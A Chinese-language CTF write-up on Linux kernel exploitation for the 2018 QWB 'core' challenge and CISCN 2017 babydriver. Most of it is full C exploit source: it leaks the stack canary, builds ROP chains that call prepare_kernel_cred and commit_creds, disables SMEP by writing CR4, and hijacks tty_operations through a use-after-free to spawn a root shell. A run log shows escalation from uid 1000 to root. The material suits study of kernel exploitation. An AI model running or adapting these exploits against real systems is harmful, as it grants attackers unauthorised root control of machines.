Linux_Kernel_Pwn(ROP)

此页稍微讲一下ROP与绕过smep寄存器的检测.

引入

其实内核的栈溢出与用户空间程序的栈溢出类似,都是寻找gadget,然后执行system(“/bin/sh”),只是其中包含有状态的切换,以及在执行system(“/bin/sh”)需要将用户权限提权,从而才能成功执行RCE从而getshell.
上一篇文章已经讲过了此页需要的调试相关的内容,之后将不再复述.

2018 强网杯 - core with ROP

题目附件

简单分析

1
root@kali:~/QWB2018-core# mkdir tmp
2
root@kali:~/QWB2018-core# cp core_give.tar.gz ./tmp/
3
root@kali:~/QWB2018-core# cd tmp/
4
root@kali:~/QWB2018-core/tmp# ls
5
core_give.tar.gz
6
root@kali:~/QWB2018-core/tmp# tar -zxvf core_give.tar.gz 
7
./give_to_player/
8
./give_to_player/bzImage
9
./give_to_player/vmlinux
10
./give_to_player/core.cpio
11
./give_to_player/start.sh
12
root@kali:~/QWB2018-core/tmp# cd give_to_player/
13
root@kali:~/QWB2018-core/tmp/give_to_player# ls
14
bzImage  core.cpio  start.sh  vmlinux

题目给了三个必要的文件以及vmlinux,接下来分析start.sh 以及 解压文件系统镜像分析

1
root@kali:~/QWB2018-core/tmp/give_to_player# cat start.sh
2
qemu-system-x86_64 \
3
-m 64M \
4
-kernel ./bzImage \
5
-initrd  ./core.cpio \
6
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
7
-s  \
8
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
9
-nographic  \

分配了64M大小,CPU选项进行了设置,开启了kaslr,CTFWiki上面有说64M改成128M才能运行内核

1
root@kali:~/QWB2018-core/tmp/give_to_player# mkdir tmp
2
root@kali:~/QWB2018-core/tmp/give_to_player# cp core.cpio ./tmp/core.cpio.gz
3
root@kali:~/QWB2018-core/tmp/give_to_player# cd tmp/
4
root@kali:~/QWB2018-core/tmp/give_to_player/tmp# gunzip core.cpio.gz 
5
root@kali:~/QWB2018-core/tmp/give_to_player/tmp# cpio -idmv < core.cpio
6
......
7
root@kali:~/QWB2018-core/tmp/give_to_player/tmp# ls
8
bin  core.cpio  core.ko  etc  gen_cpio.sh  init  lib  lib64  linuxrc  proc  root  sbin  sys  tmp  usr  vmlinux
9
root@kali:~/QWB2018-core/tmp/give_to_player/tmp# cat init
10
#!/bin/sh
11
mount -t proc proc /proc
12
mount -t sysfs sysfs /sys
13
mount -t devtmpfs none /dev
14
/sbin/mdev -s
15
mkdir -p /dev/pts
16
mount -vt devpts -o gid=4,mode=620 none /dev/pts
17
chmod 666 /dev/ptmx
18
cat /proc/kallsyms > /tmp/kallsyms
19
echo 1 > /proc/sys/kernel/kptr_restrict
20
echo 1 > /proc/sys/kernel/dmesg_restrict
21
ifconfig eth0 up
22
udhcpc -i eth0
23
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
24
route add default gw 10.0.2.2 
25
insmod /core.ko
26
27
poweroff -d 120 -f &
28
setsid /bin/cttyhack setuidgid 1000 /bin/sh
29
echo 'sh end!\n'
30
umount /proc
31
umount /sys
32
33
poweroff -d 0  -f

加载驱动文件core.ko,复制了一份kallsyms于tmp目录下,并将/proc/sys/kernel/下的kptr_restrict与dmesg_restrict写入1,从而禁止了查看/proc下的kallsyms文件以及不能通过dmesg查看kernel信息,但可以从tmp下的kallsyms文件获取commit_creds,prepare_kernel_cred的地址,此外根目录下有一个gen_cpio.sh文件用于打包文件系统镜像

Exploit

Exploit
漏洞点:

1.core_read具有栈上任意位置内容读取用于泄漏Canary,因为数组的位置可以由用户自己设置  
2.opy_to_user函数由于比较的时候为有符号变量,而qmemcpy的时候强制转换成无符号变量,从而具有有栈溢出  
1
#include <string.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <unistd.h>
5
#include <fcntl.h>
6
#include <sys/stat.h>
7
#include <sys/types.h>
8
#include <sys/ioctl.h>
9
10
void spawn_shell()
11
{
12
	if(!getuid())
13
	{
14
		system("/bin/sh");
15
	}
16
	else
17
	{
18
		puts("[*]spawn shell error!");
19
	}
20
	exit(0);
21
}
22
23
size_t commit_creds = 0, prepare_kernel_cred = 0;
24
size_t raw_vmlinux_base = 0xFFFFFFFF81000000;
25
size_t vmlinux_base = 0;
26
size_t find_symbols()
27
{
28
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
29
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
30
31
	if(kallsyms_fd < 0)
32
	{
33
		puts("[*]open kallsyms error!");
34
		exit(0);
35
	}
36
37
	char buf[0x30] = {0};
38
	while(fgets(buf, 0x30, kallsyms_fd))
39
	{
40
		if(commit_creds & prepare_kernel_cred)
41
			return 0;
42
43
		if(strstr(buf, "commit_creds") && !commit_creds)
44
		{
45
			char hex[20] = {0};
46
			strncpy(hex, buf, 16);
47
			sscanf(hex, "%llx", &commit_creds);
48
			printf("commit_creds addr: %p\n", commit_creds);
49
			vmlinux_base = commit_creds - 0x9C8E0;
50
			printf("vmlinux_base addr: %p\n", vmlinux_base);
51
		}
52
53
		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
54
		{
55
			char hex[20] = {0};
56
			strncpy(hex, buf, 16);
57
			sscanf(hex, "%llx", &prepare_kernel_cred);
58
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
59
			vmlinux_base = prepare_kernel_cred - 0x9CCE0;
60
		}
61
	}
62
63
	if(!(prepare_kernel_cred & commit_creds))
64
	{
65
		puts("[*]Error!");
66
		exit(0);
67
	}
68
69
}
70
71
size_t user_cs, user_ss, user_rflags, user_sp;
72
void save_status()
73
{
74
	__asm__("mov user_cs, cs;"
75
			"mov user_ss, ss;"
76
			"mov user_sp, rsp;"
77
			"pushf;"
78
			"pop user_rflags;"
79
			);
80
	puts("[*]status has been saved.");
81
}
82
83
void set_off(int fd, long long idx)
84
{
85
	printf("[*]set off to %ld\n", idx);
86
	ioctl(fd, 0x6677889C, idx);
87
}
88
89
void core_read(int fd, char *buf)
90
{
91
	puts("[*]read to buf.");
92
	ioctl(fd, 0x6677889B, buf);
93
94
}
95
96
void core_copy_func(int fd, long long size)
97
{
98
	printf("[*]copy from user with size: %ld\n", size);
99
	ioctl(fd, 0x6677889A, size);
100
}
101
102
int main()
103
{
104
	save_status();
105
	int fd = open("/proc/core", 2);
106
	if(fd < 0)
107
	{
108
		puts("[*]open /proc/core error!");
109
		exit(0);
110
	}
111
	
112
	find_symbols();
113
	ssize_t offset = vmlinux_base - raw_vmlinux_base;
114
115
	set_off(fd, 0x40);
116
117
	char buf[0x40] = {0};
118
	core_read(fd, buf);
119
	size_t canary = ((size_t *)buf)[0];
120
	printf("[+]canary: %p\n", canary);
121
122
	size_t rop[0x1000] = {0};
123
124
	int i;
125
	for(i = 0; i < 10; i++)
126
	{
127
		rop[i] = canary;
128
	}
129
	rop[i++] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret
130
	rop[i++] = 0;
131
	rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)
132
133
	rop[i++] = 0xFFFFFFFF810A0F49 + offset; // pop rdx; ret
134
	rop[i++] = 0xFFFFFFFF81021E53 + offset; // pop rcx; ret
135
	rop[i++] = 0xFFFFFFFF8101AA6A + offset; // mov rdi, rax; call rdx; 
136
	rop[i++] = commit_creds;
137
	
138
	rop[i++] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret
139
	rop[i++] = 0;
140
141
	rop[i++] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; 
142
143
	rop[i++] = (size_t)spawn_shell;			// rip 
144
	
145
	rop[i++] = user_cs;						// cs
146
	rop[i++] = user_rflags;					// rflags
147
	rop[i++] = user_sp;						// rsp
148
	rop[i++] = user_ss;						// ss
149
150
	write(fd, rop, 0x800);
151
	core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));
152
153
	return 0;
154
}

因为含有内联的汇编语言,所以需要手动设定汇编的格式

1
gcc exploit.c -static -masm=intel -g -o exploit

EXP函数概述

1.因为需要返回用户态,故利用save_status函数保存了cs、rsp、ss、rflags的寄存器值  
2.由于开启了kaslr,从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的地址,由函数find_symbols实现,并计算出程序基址  
3.core_read,core_copy_func,set_off三个函数实现了驱动的必要功能,spawn_shell用于返回用户态时getshell  
1
rop[i++] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret
2
rop[i++] = 0;
3
rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)
4
5
rop[i++] = 0xFFFFFFFF810A0F49 + offset; // pop rdx; ret
6
rop[i++] = 0xFFFFFFFF81021E53 + offset; // pop rcx; ret
7
rop[i++] = 0xFFFFFFFF8101AA6A + offset; // mov rdi, rax; call rdx; 
8
rop[i++] = commit_creds;

首先执行了prepare_kernel_cred(0),返回值交予rax寄存器,继而将rax交予rdi并执行commit_creds,成功将用户权限提升到root
由于call指令会将调用函数的下一行的RIP压入栈中,而此gadget又没有ret指令,故将rdx中存入一段gadget将原RIP放入通用寄存器中,并返回到commit_creds指针处

1
rop[i++] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret
2
rop[i++] = 0;
3
rop[i++] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; 
4
rop[i++] = (size_t)spawn_shell;			// rip 
5
rop[i++] = user_cs;						// cs
6
rop[i++] = user_rflags;					// rflags
7
rop[i++] = user_sp;						// rsp
8
rop[i++] = user_ss;						// ss

切换GS寄存器的值,并返回用户态执行了spawn_shell函数getshell

2018 强网杯 - core with ret2usr

Exploit
在文章一中有讲,如果内核运行时没有开启smep保护,那么内核态亦可执行用户态的函数代码,对比如上的方法下方的代码则将提权在用户态中用函数指针的方法实现

1
#include <string.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <unistd.h>
5
#include <fcntl.h>
6
#include <sys/stat.h>
7
#include <sys/types.h>
8
#include <sys/ioctl.h>
9
10
void get_shell(void){
11
    system("/bin/sh");
12
}
13
14
size_t commit_creds = 0, prepare_kernel_cred = 0;
15
size_t raw_vmlinux_base = 0xFFFFFFFF81000000;
16
size_t vmlinux_base = 0;
17
size_t find_symbols()
18
{
19
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
20
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
21
22
	if(kallsyms_fd < 0)
23
	{
24
		puts("[*]open kallsyms error!");
25
		exit(0);
26
	}
27
28
	char buf[0x30] = {0};
29
	while(fgets(buf, 0x30, kallsyms_fd))
30
	{
31
		if(commit_creds & prepare_kernel_cred)
32
			return 0;
33
34
		if(strstr(buf, "commit_creds") && !commit_creds)
35
		{
36
			char hex[20] = {0};
37
			strncpy(hex, buf, 16);
38
			sscanf(hex, "%llx", &commit_creds);
39
			printf("commit_creds addr: %p\n", commit_creds);
40
			vmlinux_base = commit_creds - 0x9C8E0;
41
			printf("vmlinux_base addr: %p\n", vmlinux_base);
42
		}
43
44
		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
45
		{
46
			char hex[20] = {0};
47
			strncpy(hex, buf, 16);
48
			sscanf(hex, "%llx", &prepare_kernel_cred);
49
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
50
			vmlinux_base = prepare_kernel_cred - 0x9CCE0;
51
		}
52
	}
53
54
	if(!(prepare_kernel_cred & commit_creds))
55
	{
56
		puts("[*]Error!");
57
		exit(0);
58
	}
59
60
}
61
62
size_t user_cs, user_ss, user_rflags, user_sp;
63
void save_status()
64
{
65
	__asm__("mov user_cs, cs;"
66
			"mov user_ss, ss;"
67
			"mov user_sp, rsp;"
68
			"pushf;"
69
			"pop user_rflags;"
70
			);
71
	puts("[*]status has been saved.");
72
}
73
74
void get_root()
75
{
76
	char* (*pkc)(int) = prepare_kernel_cred;
77
	void (*cc)(char*) = commit_creds;
78
	(*cc)((*pkc)(0));
79
}
80
81
void set_off(int fd, long long idx)
82
{
83
	printf("[*]set off to %ld\n", idx);
84
	ioctl(fd, 0x6677889C, idx);
85
}
86
87
void core_read(int fd, char *buf)
88
{
89
	puts("[*]read to buf.");
90
	ioctl(fd, 0x6677889B, buf);
91
92
}
93
94
void core_copy_func(int fd, long long size)
95
{
96
	printf("[*]copy from user with size: %ld\n", size);
97
	ioctl(fd, 0x6677889A, size);
98
}
99
100
int main()
101
{
102
	save_status();
103
	int fd = open("/proc/core", 2);
104
	if(fd < 0)
105
	{
106
		puts("[*]open /proc/core error!");
107
		exit(0);
108
	}
109
	
110
	find_symbols();
111
	ssize_t offset = vmlinux_base - raw_vmlinux_base;
112
113
	set_off(fd, 0x40);
114
115
	char buf[0x40] = {0};
116
	core_read(fd, buf);
117
	size_t canary = ((size_t *)buf)[0];
118
	printf("[+]canary: %p\n", canary);
119
120
	size_t rop[0x1000] = {0};
121
122
	rop[8] = canary; 
123
	rop[10] = (size_t)get_root;
124
	rop[11] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret
125
	rop[12] = 0;
126
	rop[13] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; 
127
128
	rop[14] = (size_t)get_shell;			// rip 
129
	
130
	rop[15] = user_cs;						// cs
131
	rop[16] = user_rflags;					// rflags
132
	rop[17] = user_sp;						// rsp
133
	rop[18] = user_ss;						// ss
134
135
	puts("[*] DEBUG: ");
136
	getchar();
137
	write(fd, rop, 0x800);
138
	core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));
139
140
	return 0;
141
}

2018 强网杯 - core with bypass_smep

此次手动加入smep保护机制,由于只为了绕过smep,因而防止pti保护机制的影响,在启动脚本中关闭pti保护

1
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr pti=off" \
2
-cpu kvm64,+smep \

此刻需要绕过CR4寄存器的检测,那么需要对CR4寄存器进行修改,Exploit

1
#include <string.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <unistd.h>
5
#include <fcntl.h>
6
#include <sys/stat.h>
7
#include <sys/types.h>
8
#include <sys/ioctl.h>
9
10
void get_shell(void){
11
    system("/bin/sh");
12
}
13
14
size_t commit_creds = 0, prepare_kernel_cred = 0;
15
size_t raw_vmlinux_base = 0xFFFFFFFF81000000;
16
size_t vmlinux_base = 0;
17
size_t find_symbols()
18
{
19
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
20
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
21
22
	if(kallsyms_fd < 0)
23
	{
24
		puts("[*]open kallsyms error!");
25
		exit(0);
26
	}
27
28
	char buf[0x30] = {0};
29
	while(fgets(buf, 0x30, kallsyms_fd))
30
	{
31
		if(commit_creds & prepare_kernel_cred)
32
			return 0;
33
34
		if(strstr(buf, "commit_creds") && !commit_creds)
35
		{
36
			char hex[20] = {0};
37
			strncpy(hex, buf, 16);
38
			sscanf(hex, "%llx", &commit_creds);
39
			printf("commit_creds addr: %p\n", commit_creds);
40
			vmlinux_base = commit_creds - 0x9C8E0;
41
			printf("vmlinux_base addr: %p\n", vmlinux_base);
42
		}
43
44
		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
45
		{
46
			char hex[20] = {0};
47
			strncpy(hex, buf, 16);
48
			sscanf(hex, "%llx", &prepare_kernel_cred);
49
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
50
			vmlinux_base = prepare_kernel_cred - 0x9CCE0;
51
		}
52
	}
53
54
	if(!(prepare_kernel_cred & commit_creds))
55
	{
56
		puts("[*]Error!");
57
		exit(0);
58
	}
59
60
}
61
62
size_t user_cs, user_ss, user_rflags, user_sp;
63
void save_status()
64
{
65
	__asm__("mov user_cs, cs;"
66
			"mov user_ss, ss;"
67
			"mov user_sp, rsp;"
68
			"pushf;"
69
			"pop user_rflags;"
70
			);
71
	puts("[*]status has been saved.");
72
}
73
74
void get_root()
75
{
76
	char* (*pkc)(int) = prepare_kernel_cred;
77
	void (*cc)(char*) = commit_creds;
78
	(*cc)((*pkc)(0));
79
}
80
81
void set_off(int fd, long long idx)
82
{
83
	printf("[*]set off to %ld\n", idx);
84
	ioctl(fd, 0x6677889C, idx);
85
}
86
87
void core_read(int fd, char *buf)
88
{
89
	puts("[*]read to buf.");
90
	ioctl(fd, 0x6677889B, buf);
91
92
}
93
94
void core_copy_func(int fd, long long size)
95
{
96
	printf("[*]copy from user with size: %ld\n", size);
97
	ioctl(fd, 0x6677889A, size);
98
}
99
100
int main()
101
{
102
	save_status();
103
	int fd = open("/proc/core", 2);
104
	if(fd < 0)
105
	{
106
		puts("[*]open /proc/core error!");
107
		exit(0);
108
	}
109
	
110
	find_symbols();
111
	ssize_t offset = vmlinux_base - raw_vmlinux_base;
112
113
	set_off(fd, 0x40);
114
115
	char buf[0x40] = {0};
116
	core_read(fd, buf);
117
	size_t canary = ((size_t *)buf)[0];
118
	printf("[+]canary: %p\n", canary);
119
120
	size_t rop[0x1000] = {0};
121
122
	rop[8] = canary; 
123
	rop[10] = 0xFFFFFFFF81000B2F + offset; // pop rdi; ret
124
	rop[11] = 0x6F0;
125
	rop[12] = 0xFFFFFFFF81075014 + offset; // mov cr4, rdi; push rdx; popfq; ret;
126
	rop[13] = (size_t)get_root;
127
	rop[14] = 0xFFFFFFFF81A012DA + offset; // swapgs; popfq; ret
128
	rop[15] = 0;
129
	rop[16] = 0xFFFFFFFF81050AC2 + offset; // iretq; ret; 
130
131
	rop[17] = (size_t)get_shell;			// rip 
132
133
	rop[18] = user_cs;						// cs
134
	rop[19] = user_rflags;					// rflags
135
	rop[20] = user_sp;						// rsp
136
	rop[21] = user_ss;						// ss
137
138
	puts("[*] DEBUG: ");
139
	getchar();
140
	write(fd, rop, 0x800);
141
	core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));
142
143
	return 0;
144
}

静态编译并打包:

1
root@kali:~/QWB2018-core/tmp/give_to_player# gcc ret2usr.c --static -o ret2usr -masm=intel -g
2
......
3
root@kali:~/QWB2018-core/tmp/give_to_player# gcc rop.c --static -o rop -masm=intel -g
4
......
5
root@kali:~/QWB2018-core/tmp/give_to_player# gcc smep.c --static -o smep -masm=intel -g
6
......
7
root@kali:~/QWB2018-core/tmp/give_to_player# mv rop ./tmp/
8
root@kali:~/QWB2018-core/tmp/give_to_player# mv ret2usr ./tmp/
9
root@kali:~/QWB2018-core/tmp/give_to_player# mv smep ./tmp/
10
root@kali:~/QWB2018-core/tmp/give_to_player# cd ./tmp
11
root@kali:~/QWB2018-core/tmp/give_to_player# find . |cpio -o --format=newc > core.cpio
12
......
13
root@kali:~/QWB2018-core/tmp/give_to_player# mv core.cpio ..
14
root@kali:~/babydriver/tmp# cd ..
15
root@kali:~/QWB2018-core/tmp/give_to_player# ./start.sh
16
......
17
/ $ ls
18
bin          dev          init         linuxrc      root         sys
19
core.cpio    etc          lib          proc         rop          tmp
20
core.ko      gen_cpio.sh  lib64        ret2usr      sbin         smep
21
usr
22
/ $ id
23
uid=1000(chal) gid=1000(chal) groups=1000(chal)
24
/ $ ./rop
25
[*]status has been saved.
26
commit_creds addr: 0xffffffffb229c8e0
27
vmlinux_base addr: 0xffffffffb2200000
28
prepare_kernel_cred addr: 0xffffffffb229cce0
29
[*]set off to 64
30
[*]read to buf.
31
[+]canary: 0x7ceda81e4afbc600
32
[*]copy from user with size: -65280
33
/ # id
34
uid=0(root) gid=0(root)
35
/ # exit
36
/ $ ./ret2usr
37
[*]status has been saved.
38
commit_creds addr: 0xffffffffb229c8e0
39
vmlinux_base addr: 0xffffffffb2200000
40
prepare_kernel_cred addr: 0xffffffffb229cce0
41
[*]set off to 64
42
[*]read to buf.
43
[+]canary: 0x78f0b59826473900
44
[*] DEBUG: 
45
46
[*]copy from user with size: -65280
47
/ # id
48
uid=0(root) gid=0(root)
49
/ # exit
50
/ $ ./smep
51
......
52
/ # id
53
uid=0(root) gid=0(root)
54
/ #

CISCN_2017_babydriver with bypass-smep

Exploit
结构上一章解释过,此题利用tty_struct中的tty_operations结构从而绕过smep保护机制.

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
#include <string.h>
5
#include <sys/types.h>
6
#include <sys/stat.h>
7
#include <fcntl.h>
8
9
#define prepare_kernel_cred_addr 0xFFFFFFFF810A1810
10
#define commit_creds_addr 0xFFFFFFFF810A1420
11
12
void* fake_tty_operations[30];
13
14
size_t user_cs, user_ss, user_rflags, user_sp;
15
void save_status()
16
{
17
	__asm__("mov user_cs, cs;"
18
			"mov user_ss, ss;"
19
			"mov user_sp, rsp;"
20
			"pushf;"
21
			"pop user_rflags;"
22
			);
23
	puts("[*]status has been saved.");
24
}
25
26
27
void get_shell()
28
{
29
    system("/bin/sh");
30
}
31
32
void get_root()
33
{
34
    char* (*pkc)(int) = prepare_kernel_cred_addr;
35
    void (*cc)(char*) = commit_creds_addr;
36
    (*cc)((*pkc)(0));
37
}
38
int main()
39
{
40
    save_status();
41
42
	int i = 0;
43
    size_t rop[32] = {0};
44
    rop[i++] = 0xFFFFFFFF810D238D;		// pop rdi; ret;
45
    rop[i++] = 0x6F0;
46
    rop[i++] = 0xFFFFFFFF81004D80;		// mov cr4, rdi; pop rbp; ret;
47
    rop[i++] = 0;
48
    rop[i++] = (size_t)get_root;
49
    rop[i++] = 0xFFFFFFFF81063694;		// swapgs; pop rbp; ret;
50
    rop[i++] = 0;
51
    rop[i++] = 0xFFFFFFFF814E35EF;		// iretq; ret;
52
    rop[i++] = (size_t)get_shell;
53
    rop[i++] = user_cs;                /* saved CS */
54
    rop[i++] = user_rflags;            /* saved EFLAGS */
55
    rop[i++] = user_sp;
56
    rop[i++] = user_ss;
57
58
	for(int i = 0; i < 30; i++)
59
	{
60
		fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; 
61
	}
62
    fake_tty_operations[0] = 0xFFFFFFFF810635F5;  //pop rax; pop rbp; ret;
63
    fake_tty_operations[1] = (size_t)rop;
64
    fake_tty_operations[3] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
65
66
    int fd1 = open("/dev/babydev", O_RDWR);
67
    int fd2 = open("/dev/babydev", O_RDWR);
68
    ioctl(fd1, 0x10001, 0x2e0);
69
    close(fd1);
70
71
    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
72
    size_t fake_tty_struct[4] = {0};
73
    read(fd2, fake_tty_struct, 32);
74
    fake_tty_struct[3] = (size_t)fake_tty_operations;
75
    write(fd2,fake_tty_struct, 32);
76
77
    char buf[0x8] = {0};
78
    write(fd_tty, buf, 8);
79
80
    return 0;
81
}

EXP概述

1.同样的函数保存四个寄存器的值,利用伪条件竞争从而形成的UAF洞,控制大小,令tty_struct结构与释放掉的内存地址重叠
2.read读取到32个字节的内容,将最后8字节内容即tty_operations指针修改fake_tty_operations,进而可将栈迁移至ROP数组
3.修改CR4寄存器的值,通常为0x6F0,之后即可执行用户态的函数并实现提权
Contents
  1. 1. 引入
  2. 2. 2018 强网杯 - core with ROP
    1. 2.1. 简单分析
    2. 2.2. Exploit
  3. 3. 2018 强网杯 - core with ret2usr
  4. 4. 2018 强网杯 - core with bypass_smep
  5. 5. CISCN_2017_babydriver with bypass-smep
|